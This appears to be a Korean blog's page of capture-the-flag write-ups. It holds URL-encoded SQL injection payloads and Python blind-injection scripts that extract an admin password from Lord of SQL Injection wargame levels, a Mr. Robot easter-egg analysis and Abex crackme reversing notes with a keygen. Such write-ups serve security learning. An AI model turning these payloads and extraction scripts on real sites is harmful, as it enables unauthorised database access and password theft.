Hubeen's Home

0x20 Security/0x25 Write-Ups 39건이 검색되었습니다.


이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;

뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 

%0a가 있음을 깨달았다.


?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] dragon  (0) 2018.09.22
[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22

댓글 0


이 문제는 정말 좋은 경험을 했다고 생각한다.



40글자라고 해서 좀 놀랐다.
허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.

유니코드는 ord 함수를 이용하여 뽑아내었따


import requests


url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23

?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23

'''


for x in range(10):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20" + str(x) + ",%201))%20=%20" + str(c) + "%20%23", headers=headers, cookies=cookies)

        text = rs.text


        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) +  " ascii = " + str(c) + " find it")




'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] dragon  (0) 2018.09.22
[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22

댓글 0


이 문제는 mysql 에서 문자열은 0이 된다.


?pw=%27)=0;%00


0=0은 true이기에 조건이 맞아서 출력이 댄다.

SELECT 'a' = 0 — TRUE

SELECT 'abc' = 0 — TRUE


SELECT '1' = 0 — FALSE

SELECT '123' = 0 — FALSE



SELECT 'x1' = 0 — TRUE


SELECT '1x' = 0 — FALSE 

SELECT '1x' = 1 — TRUE


SELECT '12x1' = 0 — FALSE

SELECT '12x1' = 121 — FALSE

SELECT '12x1' = 12 — TRUE 



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] dragon  (0) 2018.09.22
[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22

댓글 0


이 문제는 싱글쿼터를 못 넣는다...

허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다.


그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다.


?id=\&pw=%20||%201=1%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] xavis  (0) 2018.09.22
[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22

댓글 0


이 문제는 싱글 쿼터를 사용못하게 막아두었다.

하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다.


?id=%00%27%20%7C%7Cid="admin"%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] nightmare  (0) 2018.09.22
[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22

댓글 0


like에는 % 정규식 비슷한게 있다.


https://www.w3schools.com/sql/sql_like.asp


이 문제는 조금 당황스러운 문제였다.

아무리해도 어드민이 뜨지 않는 것이다.


그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

strs = "8_"

for i in range(8):
    for c in range(48,125):
        rs = requests.get(url + "?pw=" + strs + chr(c) + "%" ,headers=headers, cookies=cookies)

        text = rs.text

        if("<br><h2>Hello admin</h2>" in text):
            strs += chr(c)

            print(str(i+1) + " " +chr(c) + " find it”)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] succubus  (0) 2018.09.22
[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22

댓글 0


이 문제는 좀 신기했다.

실제에서도 이런 일이 생기는걸까?

무슨 의도가 있는지 나는 잘 모르겠다.


그냥 사이에 공백을 만들어줘서 풀었다.


?shit=%0b

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] zombie_assassin  (0) 2018.09.22
[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22

댓글 0


이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다.


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8)


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)
'''
for i in range(8):
    for c in range(33, 125):
        rs = requests.get(url + "?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw," + str(i+1) + "),1)%0din%0d(%22" + chr(c) + "%22)", headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):
            print(str(i+1) + " " +chr(c) + " find it”) 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] assessin  (0) 2018.09.22
[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22

댓글 0


?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208


?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a”


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20a
'''

for x in range(8):
    for c in range(33, 125):
        rs = requests.get(url + '?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,' + str(x+1) + '),1)%20like%20"' + chr(c) +'"' , headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(c) + " find it") 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] giant  (0) 2018.09.22
[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22

댓글 0


이 문제는 pw 가 실제 pw와 같아야한다.

이 역시 블라인드 인젝션으로 풀었다.


?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23


아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.

스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw,1),1)%20like%2013%23
'''
for x in range(8):
    for i in range(33, 125):
        rs = requests.get(url + "?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw," + str(x+1) + "),1)%20like%20'" + chr(i) + "' %23", headers=headers, cookies=cookies)
        text = rs.text

        if(“<br><h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(i) + " find it")

이 문제는 = 이 막혀있다.
in 이나 like로 이용하여 우회하면 된다. 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] bugbear  (0) 2018.09.22
[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22

댓글 0


아이디만 바꾸면 대는 문제였다.


?pw=1234%27%20or%20id=%27admin%27%20%23%20

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] darkknight  (0) 2018.09.22
[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22

댓글 0


사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] golem  (0) 2018.09.22
[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22

댓글 0


입력한 값이 admin일 경우 hehe를 띄운다


대문자를 이용하여 풀면 댄다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] skelleton  (0) 2018.09.22
[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22

댓글 0


이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다.


먼저 길이부터 파악했다.


?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20-


스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ;


?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20-


이 또한 스크립트가 랩실에 있다 ㅎ


아무튼 하나하나 뽑아서 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] vampire  (0) 2018.09.22
[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22

댓글 0


이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따


하지만 || 으로 대신하여 우회가 가능하다.


?pw=1234%27%20||%20id=%27admin%27%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] troll  (0) 2018.09.22
[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18

댓글 0


이 문제는 아이디를 admin으로 바꾸면 된다.


pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다.


?pw=123412312312%27%0dor%0did=%27admin%27%0d%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] orge  (0) 2018.09.22
[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18

댓글 0


pw가 실제 pw가 맞는지 체크한다.

블라인드 인젝션 문제였다.


먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다


import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for i in range(20):
rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):

print(str(i) + " find it") 

길이를 확인한 후 씬나게 때려맞췄다.

import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for j in range(8):
for i in range(33, 125):
rs = requests.get(url + "?pw=1234' || id='admin' and ascii(substr(pw," + str(j+1) + ", 1))=" + str(i) + "-- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):
print(str(j) + " " + chr(i) + " find it")
break 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] darkelf  (0) 2018.09.22
[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18

댓글 0


id를 어드민으로 만들면 댄다.


and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다!


?no=1 로 주면 게스트라고 뿌려준다.


없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,!


싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다.


?no=112302130131290123||id=char(97,100,109,105,110)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] wolfman  (0) 2018.09.22
[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21

댓글 0


이번 문제는 id가 admin이여야 풀림


개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다.


?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20-


연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠ

and 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ

왜 or 먼저 된다고 생각했는지 원...


?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20-





'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOB1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11

댓글 0




이 문제는 아이디가 걍 로그인만 되면 풀림


?id=hubeen&pw=1234%27%20or%201=1--%20-



' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11
[Codegate2016] Write ups  (0) 2016.03.18

댓글 0

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

그러타.

나는 미스터 로봇 시즌1을 다본 사람이다.

미스터 로봇 시즌1이 끝날때 마지막 부분에 아쉽게 끝내서 아쉬워하던 도중

어제 미스터 로봇 시즌 2가 나왔다는 소리를 들었다.


 

오.. 세상에 7월 13일에 나왔다니.


현재는 3화까지 나와있다.


아니 근데 여기서 왜 미스터 로봇이 롸이트업에 들어가있느냐~!?


바로 미스터 로봇에 숨겨진 이스터 에그가 있었다.



바로 이 장면에 나타나는 모니터에 있었다.



이 장면은 tool을 이용하여 랜섬웨어를 생성하는 장면이였는데.


수상한 아이피를 발견할 수 있었다.


192.251.68.254:80에 랜섬웨어가 배포되는 것처럼 느껴진다.


그리고 실제로 접속이 되는지 확인을 해보았다.



실제로 접속이 되고 헤더 중 Location을 발견할 수 있는데,

http://i254.bxjyb2jvda.net/에 리다이렉트가 되는 것을 발견할 수 있었다.



마지막으로는 http://i239.bxjyb2jvda.net 로 이동을 하게 된다.



실제로 접속해보면 이러한 페이지가 나타난다.

타이머로 시간이 가고 있고 요상한 페이지였다.



또로롱


그리고 web_analytics.js 라는 수상한 스크립트를 발견할 수 있었다.


web_analytics.js 코드는 아래와 같다.



/* analytics */

var AdobeTracking = new Object();

AdobeTracking.division = 'Cable';

AdobeTracking.businessUnit = 'USA Network';

AdobeTracking.contentGroup = 'Drama';

AdobeTracking.contentType = 'Home';

AdobeTracking.pageName = 'Mr. Robot : S2 Easter Egg Sites : Ransomware : Home';

AdobeTracking.showSite = 'Mr. Robot';

var q='PGRpdiBjbGFzcz0ib3ZlciI+PGRpdj4iSSBzaW5jZXJlbHkgYmVsaWV2ZSB0aGF0IGJhbmtpbmcgZXN0YWJsaXNobWVudHMgYXJlIG1vcmUgZGFuZ2Vyb3VzIHRoYW4gc3RhbmRpbmcgYXJtaWVzLCBhbmQgdGhhdCB0aGUgcHJpbmNpcGxlIG9mIHNwZW5kaW5nIG1vbmV5IHRvIGJlIHBhaWQgYnkgcG9zdGVyaXR5LCB1bmRlciB0aGUgbmFtZSBvZiBmdW5kaW5nLCBpcyBidXQgc3dpbmRsaW5nIGZ1dHVyaXR5IG9uIGEgbGFyZ2Ugc2NhbGUuIjwvZGl2PjxkaXYgY2xhc3M9ImF1dGhvciI+LSBUaG9tYXMgSmVmZmVyc29uPC9zcGFuPjwvZGl2PjwvZGl2Pg==';

AdobeTracking.showSiteFeatureII = 'Mr. Robot : S2 Easter Egg Sites : Ransomware';

function fire_beacon() { return window.atob(q); }

AdobeTracking.showSiteFeature = 'Mr. Robot : S2 Easter Egg Sites';

function fire_beacon_final(periods) { if ($('.over').length > 0) { AdobeTracking.pageName = 'Mr. Robot : S2 Easter Egg Sites : Ransomware : Countdown Ended'; _satellite.track('virtPageTrack'); }}

$(function () { var austDay = new Date(); austDay.setSeconds(austDay.getSeconds() + 86394 /*86394*/); $('#defaultCountdown').countdown({until: austDay,expiryText: fire_beacon(),onTick: fire_beacon_final, tickInterval: 1});});

_satellite.pageBottom();



뭐 그 뒤는 저 base64 인코딩된 문자열을 디코딩을 해보면.



라는 문자열을 발견하게 된다.


I sincerely believe that banking establishments are more dangerous than standing armies, and that the principle of spending money to be paid by posterity, under the name of funding, is but swindling futurity on a large scale.

- Thomas Jefferson


아마 나중에 나올 스토리와 연관이 있는 것 같다.

기대된다 ... !

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11
[Codegate2016] Write ups  (0) 2016.03.18

댓글 0

Abex Crack Me 

리버싱을 공부해본 적이 있는 사람들이라면 한번은 꼭 봤을 듯한 크랙미 시리즈이다.
출처는 어디인지 모르지만 아마도 Abex라는 사람이 올린걸 유추할 수 있다.

Abex Crack Me 1

먼저 분석을 위해 이 프로그램이 어떻게 돌아가는 지를 확인해볼 필요가 있다.



나의 하드디스크를 CD-Rom으로 인식하게 만들어보란다.

하지만 당연히 내 하드디스크는 CD-Rom이 아니므로 저런 메세지는 당연하지만 ...



어셈 코드가 졸라 짧으므로 분석이 매우 쉽다.

GetDriveTypeA 함수는 지정한 disk가 어떤 형태의 저장소인지 판단을 하는 함수이다.

kernel32에 있는 함수이며, 함수가 실행되면 특정 정수 값을 리턴하는데 해당 값에 따라 디스크의 유형을 판단할 수 있다.


 상수

 값

 설명

 DRIVE_UNKNOWN

 0

 알 수 없음

 DRIVE_NO_ROOT_DIR

 1

 최상위 경로가 없음

 DRIVE_REMOVABLE

 2

 이동형 저장장치

 DRIVE_FIXED

 3

 고정형 저장장치

 DRIVE_REMOTE

 4

 네트워크 드라이브

 DRIVE_CDROM

 5

 DVD/CD-ROM 유형

 DRIVE_RAMDISK

 6

 램 디스크


그렇습니다.

아마 그렇다면 저 함수가 실행되고 eax 레지스터에는 3이 들어가있겠네요!



그리고 실제로 3이 들어간 것을 볼 수 있습니다.


하지만 저희는 CD-ROM으로 인식하게 해야되기 때문에 저 eax 값엔 원래는 6이 리턴이 되어야됩니다.


하지만 그 값들은 여기서 요상한 연산을 하고 eax랑 esi랑 비교를 하여 같을 경우에 CD-ROM으로 인식했다고 조져따 라고 메세지를 띄웁니다.

고로 저는 다 필요없이 비교 부분에 서로 같은 것을 비교하게 조져버렸습니다.



ㅅㄱ



Abex Crack Me 2



먼저 이 문제는 흔하디 흔한 키젠 문제인 것 같습니다.

분명히 이름을 통해 시리얼키가 생성이 되고 그 생성된 키와 체크하는 것이라고 예상을 할 수 있겠습니다.


디버깅 ㄱㄱ



이 부분에서 eax에 리턴 값이 들어가고 그 ax 끼리 test 연산을 하고 시리얼이 틀렷는지 맞는지 확인을 하므로

vbaVarTstEq가 서로 비교하는 함수라는 것을 알 수 있습니다.


그렇게 내부로 들어가보면.



실제로 비교하는 것을 알 수 있었습니다.



차곡차곡 쌓인 것을 볼 수 있습니다.



00000008

0018F40C

00298784  UNICODE "CCD9C6C9"

0018F3C4


00000008

0018F40C

0029886C  UNICODE "123456789"

0018F3C4



CCD9C6C9과 제가 입력한 값을 비교합니다.



ㅅㄱ링딩동


그리고 시리얼 생성하는 부분을 분석을 하고 키젠을 만들어봤다.


def keygen(name):

key = ''

for i in range(4):

key += chr(ord(name[i])+0x64).encode("hex")

return key.upper()


Abex Crack Me 3




실행을 해보면 이러하다.

아마도 그렇다면 예상 시나리오는.

키 파일이라는 걸 생성해서 그 키 파일에서 내용을 읽고 체크하는 문제일까 하고 생각을 해보았다.


뭐 이런 생각은 디버깅을 하고 난 뒤면 꼼짝 못해~!



뭐 코드도 짧으니 금방 분석이 가능하시겠다.

메세지 박스를 띄우고 abex.l2c를 읽기모드로 연다.

하지만 당연히 eax에는 이 파일이 없기때문에 FFFFFFFF을 리턴하고 저 eax 비교에서 분기되서 파일을 찾을 수 업써!! 라고 메세지를 띄우게 된다.

고로 프로그램이 있는 경로에 저 파일을 생성해주자.



ㅇㅋ


그렇다면 파일을 찾았기 때문에.

아마 파일 찾는 분기에서는 걸리지 않을 것이다.


그 다음은 파일의 사이즈를 리턴하여 그 사이즈가 12가 아닐 경우에는 틀린 키 파일이라면서 찡찡거리게 된다.

고로 사이즈를 0x12(18)로 맞추고 실행을 해주면 풀릴 것 이다.



Abex Crack Me 4



그렇다.

이 문제는 버튼이 비활성화가 되있다...


고로 디버깅 ㄱ



현재 날짜들을 구해와서 mul, add연산을 통해 시리얼이 완성된다.



이렇게 eax에 시리얼이 들어있는 것을 볼 수 있다.


이게 시리얼인지 확인하는 방법은 vbacmp 함수를 확인하면 된다.



입력한 값과 시리얼을 비교하는 것을 볼 수 있다.


그리고 같을 경우 가입이 활성화된다.


Abex Crack Me 5



L2C-57816784-ABEX가 시리얼이다. 

끝.


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11
[Codegate2016] Write ups  (0) 2016.03.18

댓글 0

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인


코드게이트_2016_Write_Up_문승현.pdf




Hello, 

i sense that didn't written in Writeup

hmm... but have name in the file name

it's okay 

maybe lol..

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (0) 2018.09.18
Mr.Robot Season2 Easter Egg  (0) 2016.07.21
[ReverseLab 스터디] [Abex's CM] Abex 1~5  (0) 2016.07.11
[Codegate2016] Write ups  (0) 2016.03.18

댓글 0

[Pwnable.kr] cmd1 - 1 pt

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

[Pwnable.kr] lotto - 2 pt

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

Prev 1 2 Next